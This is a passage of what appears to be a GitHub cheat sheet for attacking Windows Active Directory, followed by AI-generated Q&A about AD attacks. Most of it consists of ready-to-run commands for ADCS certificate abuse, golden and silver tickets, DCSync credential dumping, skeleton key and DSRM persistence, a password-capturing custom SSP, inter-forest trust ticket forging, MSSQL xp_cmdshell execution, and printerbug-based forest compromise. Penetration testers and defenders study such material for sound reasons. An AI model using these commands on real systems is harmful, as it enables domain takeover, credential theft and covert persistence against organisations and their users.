Domain/Authenticated Users. Additionally, check that the pkiextendedkeyusage parameter
contains the "Client Authentication" value as well as that the "Authorized Signatures Required"
parameter is set to 0.

This exploit only works because these settings enable server/client authentication, meaning an
attacker can specify the UPN of a Domain Admin ("DA") and use the captured certificate with
Rubeus to forge authentication.

Note: If a Domain Admin is in a Protected Users group, the exploit may not work as intended.
Check before choosing a DA to target.

Request the DA's Account Certificate with Certify

.\[Link] request /template:<Template Name> /quiet /ca:"<CA Name>"


/domain:<[Link]> /path:CN=Configuration,DC=<domain>,DC=com
/altname:<Domain Admin AltName> /machine

This should return a valid certificate for the associated DA account.

The exported [Link] and [Link] files must be consolidated into a single [Link] file,
with one gap of whitespace between the END RSA PRIVATE KEY and the BEGIN CERTIFICATE.

Example of [Link]:

-----BEGIN RSA PRIVATE KEY-----


BIIEogIBAAk15x0ID[...]
[...]
[...]
-----END RSA PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
BIIEogIBOmgAwIbSe[...]
[...]
[...]
-----END CERTIFICATE-----

#Utilize openssl to Convert to PKCS #12 Format


The openssl command can be utilized to convert the certificate file into PKCS #12 format (you
may be required to enter an export password, which can be anything you like).

openssl pkcs12 -in [Link] -keyex -CSP "Microsoft Enhanced Cryptographic


Provider v1.0" -export -out [Link]

Once the [Link] file has been exported, upload it to the compromised host (this can be done
in a variety of ways, such as with Powershell, SMB, [Link], Cobalt Strike's upload
functionality, etc.)

After the [Link] file has been uploaded to the compromised host, Rubeus can be used to
request a Kerberos TGT for the DA account which will then be imported into memory.

.\[Link] asktht /user:<Domain Admin AltName> /domain:<[Link]>


/dc:<Domain Controller IP or Hostname> /certificate:<Local Machine Path to
[Link]> /nowrap /ptt

This should result in a successfully imported ticket, which then enables an attacker to perform
various malicious acitivities under DA user context, such as performing a DCSync attack.

No PAC

 sAMAccountname Spoofing Exploitation of CVE-2021-42278 and CVE-2021-42287


 Weaponisation of CVE-2021-42287/CVE-2021-42278 Exploitation of CVE-2021-42278
and CVE-2021-42287
 noPAC C# tool to exploit CVE-2021-42278 and CVE-2021-42287
 sam-the-admin Python automated tool to exploit CVE-2021-42278 and CVE-2021-42287
 noPac Evolution of "sam-the-admin" tool

Domain Persistence
Golden Ticket Attack
#Execute mimikatz on DC as DA to grab krbtgt hash:
Invoke-Mimikatz -Command '"lsadump::lsa /patch"' -ComputerName <DC'sName>

#On any machine:


Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator
/domain:<DomainName> /sid:<Domain's SID> /krbtgt:
<HashOfkrbtgtAccount> id:500 /groups:512 /startoffset:0 /endin:600
/renewmax:10080 /ptt"'

DCsync Attack
#DCsync using mimikatz (You need DA rights or DS-Replication-Get-Changes and
DS-Replication-Get-Changes-All privileges):
Invoke-Mimikatz -Command '"lsadump::dcsync /user:<DomainName>\
<AnyDomainUser>"'
#DCsync using [Link] from impacket with NTLM authentication
[Link] <Domain>/<Username>:<Password>@<DC'S IP or FQDN> -just-dc-ntlm

#DCsync using [Link] from impacket with Kerberos Authentication


[Link] -no-pass -k <Domain>/<Username>@<DC'S IP or FQDN> -just-dc-ntlm

Tip:
/ptt -> inject ticket on current running session
/ticket -> save the ticket on the system for later use

Silver Ticket Attack


Invoke-Mimikatz -Command '"kerberos::golden /domain:<DomainName>
/sid:<DomainSID> /target:<TheTargetMachine> /service:
<ServiceType> /rc4:<TheSPN's Account NTLM Hash> /user:<UserToImpersonate>
/ptt"'

SPN List

Skeleton Key Attack


#Exploitation Command runned as DA:
Invoke-Mimikatz -Command '"privilege::debug" "misc::skeleton"' -ComputerName
<DC's FQDN>

#Access using the password "mimikatz"


Enter-PSSession -ComputerName <AnyMachineYouLike> -Credential <Domain>\
Administrator

DSRM Abuse

WUT IS DIS?: Every DC has a local Administrator account, this accounts has the DSRM
password which is a SafeBackupPassword. We can get this and then pth its NTLM hash to get
local Administrator access to DC!

#Dump DSRM password (needs DA privs):


Invoke-Mimikatz -Command '"token::elevate" "lsadump::sam"' -ComputerName <DC's
Name>

#This is a local account, so we can PTH and authenticate!


#BUT we need to alter the behaviour of the DSRM account before pth:
#Connect on DC:
Enter-PSSession -ComputerName <DC's Name>

#Alter the Logon behaviour on registry:


New-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\" -Name
"DsrmAdminLogonBehaviour" -Value 2 -PropertyType DWORD -Verbose

#If the property already exists:


Set-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\" -Name
"DsrmAdminLogonBehaviour" -Value 2 -Verbose
Then just PTH to get local admin access on DC!

Custom SSP

WUT IS DIS?: We can set our on SSP by dropping a custom dll, for example [Link] from
mimikatz, that will monitor and capture plaintext passwords from users that logged on!

From powershell:

#Get current Security Package:


$packages = Get-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\
OSConfig\" -Name 'Security Packages' | select -ExpandProperty 'Security
Packages'

#Append mimilib:
$packages += "mimilib"

#Change the new packages name


Set-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\OSConfig\" -Name
'Security Packages' -Value $packages
Set-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\" -Name 'Security
Packages' -Value $packages

#ALTERNATIVE:
Invoke-Mimikatz -Command '"misc::memssp"'

Now all logons on the DC are logged to -> C:\Windows\System32\[Link]

Cross Forest Attacks


Trust Tickets

WUT IS DIS ?: If we have Domain Admin rights on a Domain that has Bidirectional Trust
relationship with an other forest we can get the Trust key and forge our own inter-realm TGT.

⚠️The access we will have will be limited to what our DA account is configured to have on the
other Forest!

 Using Mimikatz:
 #Dump the trust key
 Invoke-Mimikatz -Command '"lsadump::trust /patch"'
 Invoke-Mimikatz -Command '"lsadump::lsa /patch"'

 #Forge an inter-realm TGT using the Golden Ticket attack
 Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator
/domain:<OurDomain> /sid:
 <OurDomainSID> /rc4:<TrustKey> /service:krbtgt /target:<TheTargetDomain>
/ticket:
<PathToSaveTheGoldenTicket>"'
 ❗ Tickets -> .kirbi format

Then Ask for a TGS to the external Forest for any service using the inter-realm TGT and access
the resource!

 Using Rubeus:

.\[Link] asktgs /ticket:<kirbi file> /service:"Service's SPN" /ptt

Abuse MSSQL Servers

 Enumerate MSSQL Instances: Get-SQLInstanceDomain

 Check Accessibility as current user:

Get-SQLConnectionTestThreaded
Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose

 Gather Information about the instance: Get-SQLInstanceDomain | Get-


SQLServerInfo -Verbose
 Abusing SQL Database Links:
WUT IS DIS?: A database link allows a SQL Server to access other resources like other
SQL Server. If we have two linked SQL Servers we can execute stored procedures in
them. Database links also works across Forest Trust!

Check for existing Database Links:

#Check for existing Database Links:


#PowerUpSQL:
Get-SQLServerLink -Instance <SPN> -Verbose

#MSSQL Query:
select * from master..sysservers

Then we can use queries to enumerate other links from the linked Database:

#Manualy:
select * from openquery("LinkedDatabase", 'select * from master..sysservers')

#PowerUpSQL (Will Enum every link across Forests and Child Domain of the
Forests):
Get-SQLServerLinkCrawl -Instance <SPN> -Verbose

# Enable RPC Out (Required to Execute XP_CMDSHELL)


EXEC sp_serveroption 'sqllinked-hostname', 'rpc', 'true';
EXEC sp_serveroption 'sqllinked-hostname', 'rpc out', 'true';
select * from openquery("SQL03", 'EXEC sp_serveroption
''SQL03'',''rpc'',''true'';');
select * from openquery("SQL03", 'EXEC sp_serveroption ''SQL03'',''rpc
out'',''true'';');
#Then we can execute command on the machine's were the SQL Service runs using
xp_cmdshell
#Or if it is disabled enable it:
EXECUTE('sp_configure "xp_cmdshell",1;reconfigure;') AT "SPN"

Query execution:

Get-SQLServerLinkCrawl -Instace <SPN> -Query "exec master..xp_cmdshell


'whoami'"

Breaking Forest Trusts

WUT IS DIS?:
TL;DR
If we have a bidirectional trust with an external forest and we manage to compromise a machine
on the local forest that has enabled unconstrained delegation (DCs have this by default), we can
use the printerbug to force the DC of the external forest's root domain to authenticate to us.
Then we can capture it's TGT, inject it into memory and DCsync to dump it's hashes, giving ous
complete access over the whole forest.

Tools we are going to use:

 Rubeus
 SpoolSample
 Mimikatz

Exploitation example:

#Start monitoring for TGTs with rubeus:


[Link] monitor /interval:5 /filteruser:target-dc

#Execute the printerbug to trigger the force authentication of the target DC


to our machine
[Link] [Link] [Link]

#Get the base64 captured TGT from Rubeus and inject it into memory:
[Link] ptt /ticket:<Base64ValueofCapturedTicket>

#Dump the hashes of the target domain using mimikatz:


lsadump::dcsync /domain:[Link] /all

Detailed Articles:

 Not A Security Boundary: Breaking Forest Trusts


 Hunting in Active Directory: Unconstrained Delegation & Forests Trusts

About
A cheat sheet that contains common enumeration and attack methods for Windows Active
Directory.

Topics

windows security attack active-directory hacking cheatsheet enumeration activedirectory


penetration-testing cheat pentesting exploitation hacking-tool privilege-escalation cheat-sheet
hacking-tools windows-active-directory active-directory-cheatsheet active-directory-exploitation
hacking-cheasheet

Resources

Readme

License

MIT license
Activity

Stars

6.1k stars

Watchers

125 watching

Forks

1.3k forks
Report repository

Releases

Common questions

Powered by AI

Active Directory Integrated DNS poses a security risk because it enables potential exploitation of DNS configuration through Active Directory permissions. If compromised, attackers can manipulate DNS records or inject malicious entries to redirect traffic, execute Man-In-The-Middle attacks, or escalate privileges through DNSAdmins group membership abuse .

An effective defense strategy against Kerberoasting includes implementing strong password policies for service accounts, regular monitoring of Kerberos Traffic for unusual patterns, and using Managed Service Accounts (MSAs) which rotate passwords automatically. Additionally, reducing the number of accounts with Serviced Principal Names (SPNs) and ensuring restricted privileges for service accounts can mitigate the risk .

PowerView facilitates the enumeration of domain users by allowing the user to execute commands such as Get-DomainUser, which retrieves information about domain users, including their properties and group memberships. This tool enables attackers to systematically extract vital user information for nefarious purposes, such as planning privilege escalation attacks .

The primary objective of exploiting Active Directory is to escalate privileges, maintain persistent access, and perform lateral movements within a network. Successful exploitation can allow an attacker to gain unauthorized access to sensitive information, escalate privileges from a standard user to a domain administrator, and ultimately control or manipulate critical network resources .

Zerologon is a critical vulnerability that allows an attacker to compromise a domain controller's security using a flaw in the Netlogon protocol. This vulnerability can enable attackers to set empty passwords for domain accounts, including the domain administrator account, without authentication, leading to full control over network resources .

Enumeration tools aid in securing an Active Directory environment by identifying vulnerabilities and misconfigurations that could be exploited by attackers. Tools like PowerView, BloodHound, and ADRecon allow security professionals to audit user permissions, uncover potential attack paths, and assess security policies, thereby enabling proactive threat mitigation .

A DCSync attack can have severe consequences as it allows an attacker to impersonate a Domain Controller, effectively granting them the ability to request and receive sensitive credentials, including NTLM password hashes for any user in the domain. This capability can lead to complete domain compromise and persistent backdoor access .

The DNSAdmins group exploitation involves loading an arbitrary DLL with SYSTEM privileges if the DNS service is configured to run as a service on a Domain Controller. By using commands such as dnscmd to set a DLL path on a DNS server, attackers can restart the DNS service, leading to executing the malicious DLL as SYSTEM, effectively escalating their privileges .

Resource-Based Constrained Delegation can be abused by attackers who manage to obtain privileges over a machine account. By exploiting these privileges, attackers can set up a scenario where they impersonate any domain user, including administrators, on the target machine. This ability allows an attacker to escalate their privileges and potentially compromise the entire Active Directory environment .

BloodHound assists attackers by mapping relationships and trust paths within an Active Directory environment, helping them identify the most efficient attack path to reach high-value targets such as Domain Admin accounts. The tool utilizes data from domain controllers to visualize how users, groups, and computers interact, making privilege escalation attempts more straightforward .

You might also like